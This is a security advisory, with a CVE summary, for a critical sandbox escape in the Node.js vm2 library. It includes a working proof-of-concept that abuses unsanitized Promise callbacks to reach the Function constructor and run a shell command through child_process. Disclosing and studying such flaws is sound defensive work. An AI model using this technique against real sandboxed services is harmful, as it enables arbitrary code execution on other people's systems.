GHSA-99p7-6v5w-7xg8

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vm2 has a Sandbox Escape

view advisory published 2026-01-26Licence: CC-BY-4.0

In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. ```js const { VM } = require("vm2"); const code = ` const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); `; new VM().run(code); ``` In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.

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CVE-2026-22709UScritical10.0—
vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows…
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